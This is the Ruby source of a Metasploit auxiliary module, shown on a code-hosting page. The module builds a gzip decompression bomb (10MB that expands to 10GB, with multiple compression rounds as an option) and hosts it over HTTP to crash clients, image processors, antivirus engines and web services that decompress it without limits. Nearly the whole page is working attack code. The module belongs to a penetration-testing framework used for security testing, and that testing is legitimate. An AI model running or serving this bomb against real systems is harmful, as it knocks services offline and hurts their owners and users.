Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/gzip_bomb_dos.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
require 'stringio'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Remote::HttpServer::HTML
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Gzip Memory Bomb Denial Of Service',
17
'Description' => %q{
18
This module generates and hosts a 10MB single-round gzip file that decompresses to 10GB.
19
Many applications will not implement a length limit check and will eat up all memory and
20
eventually die. This can also be used to kill systems that download/parse content from
21
a user-provided URL (image-processing servers, AV, websites that accept zipped POST data, etc).
22
23
A FILEPATH datastore option can also be provided to save the .gz bomb locally.
24
25
Some clients (Firefox) will allow for multiple rounds of gzip. Most gzip utils will correctly
26
deflate multiple rounds of gzip on a file. Setting ROUNDS=3 and SIZE=10240 (default value)
27
will generate a 300 byte gzipped file that expands to 10GB.
28
},
29
'Author' => [
30
'info[at]aerasec.de', # 2004 gzip bomb advisory
31
'joev' # Metasploit module
32
],
33
'License' => MSF_LICENSE,
34
'References' => [
35
[ 'URL', 'http://www.aerasec.de/security/advisories/decompression-bomb-vulnerability.html' ]
36
],
37
'DisclosureDate' => '2004-01-01',
38
'Actions' => [
39
[ 'WebServer', { 'Description' => 'Host file via web server' } ]
40
],
41
'PassiveActions' => [
42
'WebServer'
43
],
44
'DefaultAction' => 'WebServer',
45
'Notes' => {
46
'Stability' => [CRASH_SERVICE_DOWN],
47
'SideEffects' => [],
48
'Reliability' => []
49
}
50
)
51
)
52
53
register_options(
54
[
55
OptInt.new('SIZE', [true, 'Size of uncompressed data in megabytes (10GB default).', 10240]),
56
OptInt.new('ROUNDS', [true, 'Rounds of gzip compression. Some applications (FF) support > 1.', 1]),
57
OptString.new('URIPATH', [false, 'Path of URI on server to the gzip bomb (default is random)']),
58
OptString.new('CONTENT_TYPE', [false, 'Content-Type header to serve in the response', 'text/html'])
59
]
60
)
61
end
62
63
def run
64
datastore['HTTP::compression'] = false # not a good idea
65
@gzip = generate_gzip
66
print_status "Gzip generated. Uncompressed=#{default_size}bytes. Compressed=#{@gzip.length}bytes."
67
exploit # start http server
68
end
69
70
def on_request_uri(cli, _request)
71
print_status "Sending gzipped payload to client #{cli.peerhost}"
72
rounds = (['gzip'] * datastore['ROUNDS']).join(', ')
73
send_response(cli, @gzip, { 'Content-Encoding' => rounds, 'Content-Type' => datastore['CONTENT_TYPE'] })
74
end
75
76
# zlib ftw
77
def generate_gzip(size = default_size, blocks = nil, reps = nil)
78
reps ||= datastore['ROUNDS']
79
return blocks if reps < 1
80
81
print_status 'Generating gzip bomb...'
82
StringIO.open do |io|
83
stream = Zlib::GzipWriter.new(io, Zlib::BEST_COMPRESSION, Zlib::DEFAULT_STRATEGY)
84
buf = nil
85
begin
86
# add MB of data to the stream. this takes a little while, but doesn't kill memory.
87
if blocks.nil?
88
chunklen = 1024 * 1024 * 8 # 8mb per chunk
89
a = 'A' * chunklen
90
n = size / chunklen
91
92
n.times do |i|
93
stream << a
94
if i % 100 == 0
95
print_status "#{i.to_s.rjust(Math.log(n, 10).ceil)}/#{n} chunks added (#{'%.1f' % (i.to_f / n.to_f * 100)}%)"
96
end
97
end
98
else
99
stream << blocks
100
end
101
102
a = nil # gc a
103
buf = generate_gzip(size, io.string, reps - 1)
104
ensure
105
stream.flush
106
stream.close
107
end
108
buf
109
end
110
end
111
112
def default_size
113
datastore['SIZE'] * 1024 * 1024 # mb -> bytes
114
end
115
end
116
117